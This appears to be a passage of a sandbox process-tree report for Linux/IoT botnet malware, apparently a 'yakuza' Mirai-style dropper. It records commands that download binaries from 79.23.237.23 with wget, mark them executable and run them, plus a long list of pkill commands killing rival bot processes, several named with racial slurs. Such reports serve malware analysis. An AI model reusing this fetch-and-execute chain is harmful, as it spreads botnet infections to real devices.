    sh -c "pkill -9 hzSmYZjYMQ || busybox pkill -9 hzSmYZjYMQ"
    3⤵
    PID:2163
  - - /usr/bin/pkill
      pkill -9 hzSmYZjYMQ
      4⤵
      PID:2168
  - - /bin/busybox
      busybox pkill -9 hzSmYZjYMQ
      4⤵
      PID:2169
- - /bin/sh
    sh -c "pkill -9 5Gbf || busybox pkill -9 5Gbf"
    3⤵
    PID:2175
  - - /usr/bin/pkill
      pkill -9 5Gbf
      4⤵
      PID:2176
  - - /bin/busybox
      busybox pkill -9 5Gbf
      4⤵
      PID:2178
- - /bin/sh
    sh -c "pkill -9 SoRAxD123LOL || busybox pkill -9 SoRAxD123LOL"
    3⤵
    PID:2181
  - - /usr/bin/pkill
      pkill -9 SoRAxD123LOL
      4⤵
      PID:2182
  - - /bin/busybox
      busybox pkill -9 SoRAxD123LOL
      4⤵
      PID:2187
- - /bin/sh
    sh -c "pkill -9 iaGv || busybox pkill -9 iaGv"
    3⤵
    PID:2190
  - - /usr/bin/pkill
      pkill -9 iaGv
      4⤵
      PID:2191
  - - /bin/busybox
      busybox pkill -9 iaGv
      4⤵
      PID:2196
- - /bin/sh
    sh -c "pkill -9 5aA3 || busybox pkill -9 5aA3"
    3⤵
    PID:2200
  - - /usr/bin/pkill
      pkill -9 5aA3
      4⤵
      PID:2201
  - - /bin/busybox
      busybox pkill -9 5aA3
      4⤵
      PID:2206
- - /bin/sh
    sh -c "pkill -9 SoRAxD420LOL || busybox pkill -9 SoRAxD420LOL"
    3⤵
    PID:2208
  - - /usr/bin/pkill
      pkill -9 SoRAxD420LOL
      4⤵
      PID:2213
  - - /bin/busybox
      busybox pkill -9 SoRAxD420LOL
      4⤵
      PID:2214
- - /bin/sh
    sh -c "pkill -9 insomni || busybox pkill -9 insomni"
    3⤵
    PID:2217
  - - /usr/bin/pkill
      pkill -9 insomni
      4⤵
      PID:2218
  - - /bin/busybox
      busybox pkill -9 insomni
      4⤵
      PID:2223
- - /bin/sh
    sh -c "pkill -9 640277 || busybox pkill -9 640277"
    3⤵
    PID:2226
  - - /usr/bin/pkill
      pkill -9 640277
      4⤵
      PID:2227
  - - /bin/busybox
      busybox pkill -9 640277
      4⤵
      PID:2232
- - /bin/sh
    sh -c "pkill -9 SoraBeReppin1337 || busybox pkill -9 SoraBeReppin1337"
    3⤵
    PID:2235
  - - /usr/bin/pkill
      pkill -9 SoraBeReppin1337
      4⤵
      PID:2236
  - - /bin/busybox
      busybox pkill -9 SoraBeReppin1337
      4⤵
      PID:2242
- - /bin/sh
    sh -c "pkill -9 ipcamCache || busybox pkill -9 ipcamCache"
    3⤵
    - System Network Configuration Discovery
    PID:2244
  - - /usr/bin/pkill
      pkill -9 ipcamCache
      4⤵
      System Network Configuration Discovery
      PID:2249
  - - /bin/busybox
      busybox pkill -9 ipcamCache
      4⤵
      System Network Configuration Discovery
      PID:2252
- - /bin/sh
    sh -c "pkill -9 66tlGg9Q || busybox pkill -9 66tlGg9Q"
    3⤵
    PID:2257
  - - /usr/bin/pkill
      pkill -9 66tlGg9Q
      4⤵
      PID:2258
  - - /bin/busybox
      busybox pkill -9 66tlGg9Q
      4⤵
      PID:2259
- - /bin/sh
    sh -c "pkill -9 T || busybox pkill -9 T"
    3⤵
    PID:2263
  - - /usr/bin/pkill
      pkill -9 T
      4⤵
      Reads runtime system information
      PID:2265
  - - /bin/busybox
      busybox pkill -9 T
      4⤵
      PID:2268
- - /bin/sh
    sh -c "pkill -9 jUYfouyf87 || busybox pkill -9 jUYfouyf87"
    3⤵
    PID:2274
  - - /usr/bin/pkill
      pkill -9 jUYfouyf87
      4⤵
      PID:2275
  - - /bin/busybox
      busybox pkill -9 jUYfouyf87
      4⤵
      PID:2277
- - /bin/sh
    sh -c "pkill -9 6ke3 || busybox pkill -9 6ke3"
    3⤵
    PID:2283
  - - /usr/bin/pkill
      pkill -9 6ke3
      4⤵
      PID:2285
  - - /bin/busybox
      busybox pkill -9 6ke3
      4⤵
      PID:2287
- - /bin/sh
    sh -c "pkill -9 TOKYO3 || busybox pkill -9 TOKYO3"
    3⤵
    PID:2291
  - - /usr/bin/pkill
      pkill -9 TOKYO3
      4⤵
      PID:2292
  - - /bin/busybox
      busybox pkill -9 TOKYO3
      4⤵
      PID:2296
- - /bin/sh
    sh -c "pkill -9 lyEeaXul2dULCVxh || busybox pkill -9 lyEeaXul2dULCVxh"
    3⤵
    PID:2298
  - - /usr/bin/pkill
      pkill -9 lyEeaXul2dULCVxh
      4⤵
      Reads CPU attributes
      PID:2299
  - - /bin/busybox
      busybox pkill -9 lyEeaXul2dULCVxh
      4⤵
      PID:2306
- - /bin/sh
    sh -c "pkill -9 93OfjHZ2z || busybox pkill -9 93OfjHZ2z"
    3⤵
    PID:2311
  - - /usr/bin/pkill
      pkill -9 93OfjHZ2z
      4⤵
      PID:2312
  - - /bin/busybox
      busybox pkill -9 93OfjHZ2z
      4⤵
      PID:2315
- - /bin/sh
    sh -c "pkill -9 TY2gD6MZvKc7KU6r || busybox pkill -9 TY2gD6MZvKc7KU6r"
    3⤵
    PID:2317
  - - /usr/bin/pkill
      pkill -9 TY2gD6MZvKc7KU6r
      4⤵
      PID:2320
  - - /bin/busybox
      busybox pkill -9 TY2gD6MZvKc7KU6r
      4⤵
      PID:2324
- - /bin/sh
    sh -c "pkill -9 mMkiy6f87l || busybox pkill -9 mMkiy6f87l"
    3⤵
    PID:2328
  - - /usr/bin/pkill
      pkill -9 mMkiy6f87l
      4⤵
      PID:2329
  - - /bin/busybox
      busybox pkill -9 mMkiy6f87l
      4⤵
      PID:2333
- - /bin/sh
    sh -c "pkill -9 A023UU4U24UIU || busybox pkill -9 A023UU4U24UIU"
    3⤵
    PID:2338
  - - /usr/bin/pkill
      pkill -9 A023UU4U24UIU
      4⤵
      PID:2339
  - - /bin/busybox
      busybox pkill -9 A023UU4U24UIU
      4⤵
      PID:2340
- - /bin/sh
    sh -c "pkill -9 TheWeeknd || busybox pkill -9 TheWeeknd"
    3⤵
    PID:2343
  - - /usr/bin/pkill
      pkill -9 TheWeeknd
      4⤵
      PID:2344
  - - /bin/busybox
      busybox pkill -9 TheWeeknd
      4⤵
      PID:2351
- - /bin/sh
    sh -c "pkill -9 mioribitches || busybox pkill -9 mioribitches"
    3⤵
    PID:2356
  - - /usr/bin/pkill
      pkill -9 mioribitches
      4⤵
      Reads CPU attributes
      PID:2357
  - - /bin/busybox
      busybox pkill -9 mioribitches
      4⤵
      PID:2360
- - /bin/sh
    sh -c "pkill -9 A5p9 || busybox pkill -9 A5p9"
    3⤵
    PID:2365
  - - /usr/bin/pkill
      pkill -9 A5p9
      4⤵
      Reads CPU attributes
      PID:2366
  - - /bin/busybox
      busybox pkill -9 A5p9
      4⤵
      PID:2367
- - /bin/sh
    sh -c "pkill -9 TheWeeknds || busybox pkill -9 TheWeeknds"
    3⤵
    PID:2370
  - - /usr/bin/pkill
      pkill -9 TheWeeknds
      4⤵
      PID:2371
  - - /bin/busybox
      busybox pkill -9 TheWeeknds
      4⤵
      PID:2378
- - /bin/sh
    sh -c "pkill -9 mnblkjpoi || busybox pkill -9 mnblkjpoi"
    3⤵
    PID:2382
  - - /usr/bin/pkill
      pkill -9 mnblkjpoi
      4⤵
      Reads CPU attributes
      PID:2383
  - - /bin/busybox
      busybox pkill -9 mnblkjpoi
      4⤵
      PID:2387
- - /bin/sh
    sh -c "pkill -9 AbAd || busybox pkill -9 AbAd"
    3⤵
    PID:2390
  - - /usr/bin/pkill
      pkill -9 AbAd
      4⤵
      Reads CPU attributes
      PID:2393
  - - /bin/busybox
      busybox pkill -9 AbAd
      4⤵
      PID:2394
- - /bin/sh
    sh -c "pkill -9 Tokyos || busybox pkill -9 Tokyos"
    3⤵
    PID:2399
  - - /usr/bin/pkill
      pkill -9 Tokyos
      4⤵
      PID:2400
  - - /bin/busybox
      busybox pkill -9 Tokyos
      4⤵
      PID:2405
- - /bin/sh
    sh -c "pkill -9 neb || busybox pkill -9 neb"
    3⤵
    PID:2409
  - - /usr/bin/pkill
      pkill -9 neb
      4⤵
      PID:2410
  - - /bin/busybox
      busybox pkill -9 neb
      4⤵
      PID:2414
- - /bin/sh
    sh -c "pkill -9 Akiru || busybox pkill -9 Akiru"
    3⤵
    PID:2416
  - - /usr/bin/pkill
      pkill -9 Akiru
      4⤵
      Reads runtime system information
      PID:2417
  - - /bin/busybox
      busybox pkill -9 Akiru
      4⤵
      PID:2423
- - /bin/sh
    sh -c "pkill -9 U8inTz || busybox pkill -9 U8inTz"
    3⤵
    PID:2426
  - - /usr/bin/pkill
      pkill -9 U8inTz
      4⤵
      Reads CPU attributes
      PID:2429
  - - /bin/busybox
      busybox pkill -9 U8inTz
      4⤵
      PID:2432
- - /bin/sh
    sh -c "pkill -9 netstats || busybox pkill -9 netstats"
    3⤵
    PID:2433
  - - /usr/bin/pkill
      pkill -9 netstats
      4⤵
      PID:2438
  - - /bin/busybox
      busybox pkill -9 netstats
      4⤵
      PID:2441
- - /bin/sh
    sh -c "pkill -9 Alex || busybox pkill -9 Alex"
    3⤵
    PID:2444
  - - /usr/bin/pkill
      pkill -9 Alex
      4⤵
      Reads CPU attributes
      PID:2446
  - - /bin/busybox
      busybox pkill -9 Alex
      4⤵
      PID:2448
- - /bin/sh
    sh -c "pkill -9 W9RCAKM20T || busybox pkill -9 W9RCAKM20T"
    3⤵
    PID:2451
  - - /usr/bin/pkill
      pkill -9 W9RCAKM20T
      4⤵
      PID:2452
  - - /bin/busybox
      busybox pkill -9 W9RCAKM20T
      4⤵
      PID:2457
- - /bin/sh
    sh -c "pkill -9 newnetword || busybox pkill -9 newnetword"
    3⤵
    PID:2460
  - - /usr/bin/pkill
      pkill -9 newnetword
      4⤵
      Reads runtime system information
      PID:2465
  - - /bin/busybox
      busybox pkill -9 newnetword
      4⤵
      PID:2466
- - /bin/sh
    sh -c "pkill -9 Ayo215 || busybox pkill -9 Ayo215"
    3⤵
    PID:2470
  - - /usr/bin/pkill
      pkill -9 Ayo215
      4⤵
      Reads runtime system information
      PID:2474
  - - /bin/busybox
      busybox pkill -9 Ayo215
      4⤵
      PID:2477
- - /bin/sh
    sh -c "pkill -9 Word || busybox pkill -9 Word"
    3⤵
    PID:2482
  - - /usr/bin/pkill
      pkill -9 Word
      4⤵
      Reads CPU attributes
      PID:2483
  - - /bin/busybox
      busybox pkill -9 Word
      4⤵
      PID:2486
- - /bin/sh
    sh -c "pkill -9 nloads || busybox pkill -9 nloads"
    3⤵
    PID:2489
  - - /usr/bin/pkill
      pkill -9 nloads
      4⤵
      PID:2492
  - - /bin/busybox
      busybox pkill -9 nloads
      4⤵
      PID:2493
- - /bin/sh
    sh -c "pkill -9 BAdAsV || busybox pkill -9 BAdAsV"
    3⤵
    PID:2498
  - - /usr/bin/pkill
      pkill -9 BAdAsV
      4⤵
      Reads runtime system information
      PID:2499
  - - /bin/busybox
      busybox pkill -9 BAdAsV
      4⤵
      PID:2502
- - /bin/sh
    sh -c "pkill -9 Wordmane || busybox pkill -9 Wordmane"
    3⤵
    PID:2507
  - - /usr/bin/pkill
      pkill -9 Wordmane
      4⤵
      PID:2508
  - - /bin/busybox
      busybox pkill -9 Wordmane
      4⤵
      PID:2511
- - /bin/sh
    sh -c "pkill -9 notyakuzaa || busybox pkill -9 notyakuzaa"
    3⤵
    PID:2514
  - - /usr/bin/pkill
      pkill -9 notyakuzaa
      4⤵
      PID:2517
  - - /bin/busybox
      busybox pkill -9 notyakuzaa
      4⤵
      PID:2520
- - /bin/sh
    sh -c "pkill -9 Belch || busybox pkill -9 Belch"
    3⤵
    PID:2523
  - - /usr/bin/pkill
      pkill -9 Belch
      4⤵
      PID:2524
  - - /bin/busybox
      busybox pkill -9 Belch
      4⤵
      PID:2530
- - /bin/sh
    sh -c "pkill -9 Wordnets || busybox pkill -9 Wordnets"
    3⤵
    PID:2532
  - - /usr/bin/pkill
      pkill -9 Wordnets
      4⤵
      Reads runtime system information
      PID:2533
  - - /bin/busybox
      busybox pkill -9 Wordnets
      4⤵
      PID:2539
- - /bin/sh
    sh -c "pkill -9 obp || busybox pkill -9 obp"
    3⤵
    PID:2541
  - - /usr/bin/pkill
      pkill -9 obp
      4⤵
      PID:2542
  - - /bin/busybox
      busybox pkill -9 obp
      4⤵
      PID:2547
- - /bin/sh
    sh -c "pkill -9 BigN0gg0r420 || busybox pkill -9 BigN0gg0r420"
    3⤵
    PID:2550
  - - /usr/bin/pkill
      pkill -9 BigN0gg0r420
      4⤵
      PID:2551
- /bin/rm
  rm -rf yakuza.x86
  2⤵
  PID:1530
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.arm6
  2⤵
  - Writes file to tmp directory
  PID:1535
- /bin/chmod
  chmod +x yakuza.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /tmp/yakuza.arm6
  ./yakuza.arm6
  2⤵
  PID:1538
- /bin/rm
  rm -rf yakuza.arm6
  2⤵
  PID:1540
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.i686
  2⤵
  - Writes file to tmp directory
  PID:1541
- /bin/chmod
  chmod +x yakuza.i686
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/yakuza.i686
  ./yakuza.i686
  2⤵
  PID:1543
- - /bin/sh
    sh -c "pkill -9 902i13 || busybox pkill -9 902i13"
    3⤵
    PID:1548
  - - /usr/bin/pkill
      pkill -9 902i13
      4⤵
      PID:1549
  - - /bin/busybox
      busybox pkill -9 902i13
      4⤵
      PID:1553
- - /bin/sh
    sh -c "pkill -9 BzSxLxBxeY || busybox pkill -9 BzSxLxBxeY"
    3⤵
    PID:1570
  - - /usr/bin/pkill
      pkill -9 BzSxLxBxeY
      4⤵
      PID:1571
  - - /bin/busybox
      busybox pkill -9 BzSxLxBxeY
      4⤵
      PID:1572
- - /bin/sh
    sh -c "pkill -9 HOHO-LUGO7 || busybox pkill -9 HOHO-LUGO7"
    3⤵
    PID:1589
  - - /usr/bin/pkill
      pkill -9 HOHO-LUGO7
      4⤵
      PID:1590
  - - /bin/busybox
      busybox pkill -9 HOHO-LUGO7
      4⤵
      PID:1593
- - /bin/sh
    sh -c "pkill -9 HOHO-U79OL || busybox pkill -9 HOHO-U79OL"
    3⤵
    PID:1608
  - - /usr/bin/pkill
      pkill -9 HOHO-U79OL
      4⤵
      PID:1609
  - - /bin/busybox
      busybox pkill -9 HOHO-U79OL
      4⤵
      PID:1612
- - /bin/sh
    sh -c "pkill -9 JuYfouyf87 || busybox pkill -9 JuYfouyf87"
    3⤵
    PID:1621
  - - /usr/bin/pkill
      pkill -9 JuYfouyf87
      4⤵
      Reads runtime system information
      PID:1622
  - - /bin/busybox
      busybox pkill -9 JuYfouyf87
      4⤵
      PID:1626
- - /bin/sh
    sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    PID:1632
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      PID:1633
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:1635
- - /bin/sh
    sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    PID:1641
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      PID:1642
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:1644
- - /bin/sh
    sh -c "pkill -9 LOLKIKEEEDDE || busybox pkill -9 LOLKIKEEEDDE"
    3⤵
    PID:1648
  - - /usr/bin/pkill
      pkill -9 LOLKIKEEEDDE
      4⤵
      PID:1649
  - - /bin/busybox
      busybox pkill -9 LOLKIKEEEDDE
      4⤵
      PID:1653
- - /bin/sh
    sh -c "pkill -9 ekjheory98e || busybox pkill -9 ekjheory98e"
    3⤵
    PID:1657
  - - /usr/bin/pkill
      pkill -9 ekjheory98e
      4⤵
      Reads CPU attributes
      PID:1658
  - - /bin/busybox
      busybox pkill -9 ekjheory98e
      4⤵
      PID:1662
- - /bin/sh
    sh -c "pkill -9 scansh4 || busybox pkill -9 scansh4"
    3⤵
    PID:1668
  - - /usr/bin/pkill
      pkill -9 scansh4
      4⤵
      Reads runtime system information
      PID:1669
  - - /bin/busybox
      busybox pkill -9 scansh4
      4⤵
      PID:1671
- - /bin/sh
    sh -c "pkill -9 MDMA || busybox pkill -9 MDMA"
    3⤵
    PID:1675
  - - /usr/bin/pkill
      pkill -9 MDMA
      4⤵
      PID:1676
  - - /bin/busybox
      busybox pkill -9 MDMA
      4⤵
      PID:1679
- - /bin/sh
    sh -c "pkill -9 fdevalvex || busybox pkill -9 fdevalvex"
    3⤵
    PID:1686
  - - /usr/bin/pkill
      pkill -9 fdevalvex
      4⤵
      Reads runtime system information
      PID:1687
  - - /bin/busybox
      busybox pkill -9 fdevalvex
      4⤵
      PID:1689
- - /bin/sh
    sh -c "pkill -9 scanspc || busybox pkill -9 scanspc"
    3⤵
    PID:1693
  - - /usr/bin/pkill
      pkill -9 scanspc
      4⤵
      PID:1694
  - - /bin/busybox
      busybox pkill -9 scanspc
      4⤵
      PID:1698
- - /bin/sh
    sh -c "pkill -9 MELTEDNINJAREALZ || busybox pkill -9 MELTEDNINJAREALZ"
    3⤵
    PID:1704
  - - /usr/bin/pkill
      pkill -9 MELTEDNINJAREALZ
      4⤵
      PID:1705
  - - /bin/busybox
      busybox pkill -9 MELTEDNINJAREALZ
      4⤵
      PID:1707
- - /bin/sh
    sh -c "pkill -9 flexsonskids || busybox pkill -9 flexsonskids"
    3⤵
    PID:1711
  - - /usr/bin/pkill
      pkill -9 flexsonskids
      4⤵
      PID:1712
  - - /bin/busybox
      busybox pkill -9 flexsonskids
      4⤵
      PID:1716
- - /bin/sh
    sh -c "pkill -9 scanx86 || busybox pkill -9 scanx86"
    3⤵
    PID:1722
  - - /usr/bin/pkill
      pkill -9 scanx86
      4⤵
      PID:1723
  - - /bin/busybox
      busybox pkill -9 scanx86
      4⤵
      PID:1725
- - /bin/sh
    sh -c "pkill -9 MISAKI-U79OL || busybox pkill -9 MISAKI-U79OL"
    3⤵
    PID:1731
  - - /usr/bin/pkill
      pkill -9 MISAKI-U79OL
      4⤵
      PID:1732
  - - /bin/busybox
      busybox pkill -9 MISAKI-U79OL
      4⤵
      PID:1734
- - /bin/sh
    sh -c "pkill -9 foAxi102kxe || busybox pkill -9 foAxi102kxe"
    3⤵
    PID:1740
  - - /usr/bin/pkill
      pkill -9 foAxi102kxe
      4⤵
      Reads CPU attributes
      PID:1741
  - - /bin/busybox
      busybox pkill -9 foAxi102kxe
      4⤵
      PID:1742
- - /bin/sh
    sh -c "pkill -9 swodjwodjwoj || busybox pkill -9 swodjwodjwoj"
    3⤵
    PID:1747
  - - /usr/bin/pkill
      pkill -9 swodjwodjwoj
      4⤵
      PID:1750
  - - /bin/busybox
      busybox pkill -9 swodjwodjwoj
      4⤵
      PID:1751
- - /bin/sh
    sh -c "pkill -9 MmKiy7f87l || busybox pkill -9 MmKiy7f87l"
    3⤵
    PID:1758
  - - /usr/bin/pkill
      pkill -9 MmKiy7f87l
      4⤵
      PID:1759
  - - /bin/busybox
      busybox pkill -9 MmKiy7f87l
      4⤵
      PID:1760
- - /bin/sh
    sh -c "pkill -9 freecookiex86 || busybox pkill -9 freecookiex86"
    3⤵
    PID:1767
  - - /usr/bin/pkill
      pkill -9 freecookiex86
      4⤵
      PID:1768
  - - /bin/busybox
      busybox pkill -9 freecookiex86
      4⤵
      PID:1770
- - /bin/sh
    sh -c "pkill -9 sysgpu || busybox pkill -9 sysgpu"
    3⤵
    PID:1776
  - - /usr/bin/pkill
      pkill -9 sysgpu
      4⤵
      PID:1777
  - - /bin/busybox
      busybox pkill -9 sysgpu
      4⤵
      PID:1779
- - /bin/sh
    sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    PID:1785
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      PID:1786
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:1787
- - /bin/sh
    sh -c "pkill -9 frgege || busybox pkill -9 frgege"
    3⤵
    PID:1792
  - - /usr/bin/pkill
      pkill -9 frgege
      4⤵
      Reads runtime system information
      PID:1793
  - - /bin/busybox
      busybox pkill -9 frgege
      4⤵
      PID:1796
- - /bin/sh
    sh -c "pkill -9 sysupdater || busybox pkill -9 sysupdater"
    3⤵
    PID:1803
  - - /usr/bin/pkill
      pkill -9 sysupdater
      4⤵
      PID:1804
  - - /bin/busybox
      busybox pkill -9 sysupdater
      4⤵
      PID:1806
- - /bin/sh
    sh -c "pkill -9 0DnAzepd || busybox pkill -9 0DnAzepd"
    3⤵
    PID:1812
  - - /usr/bin/pkill
      pkill -9 0DnAzepd
      4⤵
      PID:1813
  - - /bin/busybox
      busybox pkill -9 0DnAzepd
      4⤵
      PID:1814
- - /bin/sh
    sh -c "pkill -9 NiGGeRD0nks69 || busybox pkill -9 NiGGeRD0nks69"
    3⤵
    PID:1821
  - - /usr/bin/pkill
      pkill -9 NiGGeRD0nks69
      4⤵
      Reads runtime system information
      PID:1822
  - - /bin/busybox
      busybox pkill -9 NiGGeRD0nks69
      4⤵
      PID:1825
- - /bin/sh
    sh -c "pkill -9 frgreu || busybox pkill -9 frgreu"
    3⤵
    PID:1832
  - - /usr/bin/pkill
      pkill -9 frgreu
      4⤵
      Reads CPU attributes
      PID:1833
  - - /bin/busybox
      busybox pkill -9 frgreu
      4⤵
      PID:1834
- - /bin/sh
    sh -c "pkill -9 telnetd || busybox pkill -9 telnetd"
    3⤵
    PID:1839
  - - /usr/bin/pkill
      pkill -9 telnetd
      4⤵
      PID:1840
  - - /bin/busybox
      busybox pkill -9 telnetd
      4⤵
      PID:1843
- - /bin/sh
    sh -c "pkill -9 0x766f6964 || busybox pkill -9 0x766f6964"
    3⤵
    PID:1850
  - - /usr/bin/pkill
      pkill -9 0x766f6964
      4⤵
      PID:1851
  - - /bin/busybox
      busybox pkill -9 0x766f6964
      4⤵
      PID:1852
- - /bin/sh
    sh -c "pkill -9 NiGGeRd0nks1337 || busybox pkill -9 NiGGeRd0nks1337"
    3⤵
    PID:1858
  - - /usr/bin/pkill
      pkill -9 NiGGeRd0nks1337
      4⤵
      PID:1859
  - - /bin/busybox
      busybox pkill -9 NiGGeRd0nks1337
      4⤵
      PID:1861
- - /bin/sh
    sh -c "pkill -9 gaft || busybox pkill -9 gaft"
    3⤵
    PID:1866
  - - /usr/bin/pkill
      pkill -9 gaft
      4⤵
      Reads runtime system information
      PID:1867
  - - /bin/busybox
      busybox pkill -9 gaft
      4⤵
      PID:1870
- - /bin/sh
    sh -c "pkill -9 urasgbsigboa || busybox pkill -9 urasgbsigboa"
    3⤵
    PID:1877
  - - /usr/bin/pkill
      pkill -9 urasgbsigboa
      4⤵
      PID:1878
  - - /bin/busybox
      busybox pkill -9 urasgbsigboa
      4⤵
      PID:1880
- - /bin/sh
    sh -c "pkill -9 120i3UI49 || busybox pkill -9 120i3UI49"
    3⤵
    PID:1884
  - - /usr/bin/pkill
      pkill -9 120i3UI49
      4⤵
      Reads runtime system information
      PID:1885
  - - /bin/busybox
      busybox pkill -9 120i3UI49
      4⤵
      PID:1888
- - /bin/sh
    sh -c "pkill -9 OaF3 || busybox pkill -9 OaF3"
    3⤵
    PID:1893
  - - /usr/bin/pkill
      pkill -9 OaF3
      4⤵
      PID:1894
  - - /bin/busybox
      busybox pkill -9 OaF3
      4⤵
      PID:1897
- - /bin/sh
    sh -c "pkill -9 geae || busybox pkill -9 geae"
    3⤵
    PID:1903
  - - /usr/bin/pkill
      pkill -9 geae
      4⤵
      PID:1904
  - - /bin/busybox
      busybox pkill -9 geae
      4⤵
      PID:1907
- - /bin/sh
    sh -c "pkill -9 vaiolmao || busybox pkill -9 vaiolmao"
    3⤵
    PID:1913
  - - /usr/bin/pkill
      pkill -9 vaiolmao
      4⤵
      PID:1914
  - - /bin/busybox
      busybox pkill -9 vaiolmao
      4⤵
      PID:1915
- - /bin/sh
    sh -c "pkill -9 123123a || busybox pkill -9 123123a"
    3⤵
    PID:1920
  - - /usr/bin/pkill
      pkill -9 123123a
      4⤵
      PID:1923
  - - /bin/busybox
      busybox pkill -9 123123a
      4⤵
      PID:1925
- - /bin/sh
    sh -c "pkill -9 Ofurain0n4H34D || busybox pkill -9 Ofurain0n4H34D"
    3⤵
    PID:1930
  - - /usr/bin/pkill
      pkill -9 Ofurain0n4H34D
      4⤵
      PID:1931
  - - /bin/busybox
      busybox pkill -9 Ofurain0n4H34D
      4⤵
      PID:1934
- - /bin/sh
    sh -c "pkill -9 ggTrex || busybox pkill -9 ggTrex"
    3⤵
    PID:1939
  - - /usr/bin/pkill
      pkill -9 ggTrex
      4⤵
      PID:1940
  - - /bin/busybox
      busybox pkill -9 ggTrex
      4⤵
      PID:1942
- - /bin/sh
    sh -c "pkill -9 wasads || busybox pkill -9 wasads"
    3⤵
    PID:1949
  - - /usr/bin/pkill
      pkill -9 wasads
      4⤵
      PID:1950
  - - /bin/busybox
      busybox pkill -9 wasads
      4⤵
      PID:1952
- - /bin/sh
    sh -c "pkill -9 1293194hjXD || busybox pkill -9 1293194hjXD"
    3⤵
    PID:1958
  - - /usr/bin/pkill
      pkill -9 1293194hjXD
      4⤵
      PID:1959
  - - /bin/busybox
      busybox pkill -9 1293194hjXD
      4⤵
      PID:1960
- - /bin/sh
    sh -c "pkill -9 OthLaLosn || busybox pkill -9 OthLaLosn"
    3⤵
    PID:1965
  - - /usr/bin/pkill
      pkill -9 OthLaLosn
      4⤵
      PID:1966
  - - /bin/busybox
      busybox pkill -9 OthLaLosn
      4⤵
      PID:1970
- - /bin/sh
    sh -c "pkill -9 ggt || busybox pkill -9 ggt"
    3⤵
    PID:1974
  - - /usr/bin/pkill
      pkill -9 ggt
      4⤵
      PID:1975
  - - /bin/busybox
      busybox pkill -9 ggt
      4⤵
      PID:1979
- - /bin/sh
    sh -c "pkill -9 wget-log || busybox pkill -9 wget-log"
    3⤵
    PID:1983
  - - /usr/bin/pkill
      pkill -9 wget-log
      4⤵
      PID:1986
  - - /bin/busybox
      busybox pkill -9 wget-log
      4⤵
      PID:1988
- - /bin/sh
    sh -c "pkill -9 1337SoraLOADER || busybox pkill -9 1337SoraLOADER"
    3⤵
    PID:1994
  - - /usr/bin/pkill
      pkill -9 1337SoraLOADER
      4⤵
      PID:1995
  - - /bin/busybox
      busybox pkill -9 1337SoraLOADER
      4⤵
      PID:1997
- - /bin/sh
    sh -c "pkill -9 SAIAKINA || busybox pkill -9 SAIAKINA"
    3⤵
    PID:2003
  - - /usr/bin/pkill
      pkill -9 SAIAKINA
      4⤵
      PID:2004
  - - /bin/busybox
      busybox pkill -9 SAIAKINA
      4⤵
      PID:2006
- - /bin/sh
    sh -c "pkill -9 ggtq || busybox pkill -9 ggtq"
    3⤵
    PID:2012
  - - /usr/bin/pkill
      pkill -9 ggtq
      4⤵
      PID:2013
  - - /bin/busybox
      busybox pkill -9 ggtq
      4⤵
      PID:2014
- - /bin/sh
    sh -c "pkill -9 1378bfp919GRB1Q2 || busybox pkill -9 1378bfp919GRB1Q2"
    3⤵
    PID:2021
  - - /usr/bin/pkill
      pkill -9 1378bfp919GRB1Q2
      4⤵
      PID:2022
  - - /bin/busybox
      busybox pkill -9 1378bfp919GRB1Q2
      4⤵
      PID:2023
- - /bin/sh
    sh -c "pkill -9 SAIAKUSO || busybox pkill -9 SAIAKUSO"
    3⤵
    PID:2030
  - - /usr/bin/pkill
      pkill -9 SAIAKUSO
      4⤵
      Reads CPU attributes
      PID:2031
  - - /bin/busybox
      busybox pkill -9 SAIAKUSO
      4⤵
      PID:2033
- - /bin/sh
    sh -c "pkill -9 ggtr || busybox pkill -9 ggtr"
    3⤵
    PID:2037
  - - /usr/bin/pkill
      pkill -9 ggtr
      4⤵
      PID:2038
  - - /bin/busybox
      busybox pkill -9 ggtr
      4⤵
      PID:2042
- - /bin/sh
    sh -c "pkill -9 14Fa || busybox pkill -9 14Fa"
    3⤵
    PID:2046
  - - /usr/bin/pkill
      pkill -9 14Fa
      4⤵
      PID:2049
  - - /bin/busybox
      busybox pkill -9 14Fa
      4⤵
      PID:2051
- - /bin/sh
    sh -c "pkill -9 SEXSLAVE1337 || busybox pkill -9 SEXSLAVE1337"
    3⤵
    PID:2056
  - - /usr/bin/pkill
      pkill -9 SEXSLAVE1337
      4⤵
      Reads CPU attributes
      PID:2057
  - - /bin/busybox
      busybox pkill -9 SEXSLAVE1337
      4⤵
      PID:2059
- - /bin/sh
    sh -c "pkill -9 ggtt || busybox pkill -9 ggtt"
    3⤵
    PID:2066
  - - /usr/bin/pkill
      pkill -9 ggtt
      4⤵
      PID:2067
  - - /bin/busybox
      busybox pkill -9 ggtt
      4⤵
      PID:2071
- - /bin/sh
    sh -c "pkill -9 1902a3u912u3u4 || busybox pkill -9 1902a3u912u3u4"
    3⤵
    PID:2075
  - - /usr/bin/pkill
      pkill -9 1902a3u912u3u4
      4⤵
      PID:2076
  - - /bin/busybox
      busybox pkill -9 1902a3u912u3u4
      4⤵
      PID:2080
- - /bin/sh
    sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    PID:2083
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      Reads runtime system information
      PID:2084
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:2089
- - /bin/sh
    sh -c "pkill -9 haetrghbr || busybox pkill -9 haetrghbr"
    3⤵
    PID:2091
  - - /usr/bin/pkill
      pkill -9 haetrghbr
      4⤵
      Reads CPU attributes
      PID:2095
  - - /bin/busybox
      busybox pkill -9 haetrghbr
      4⤵
      PID:2098
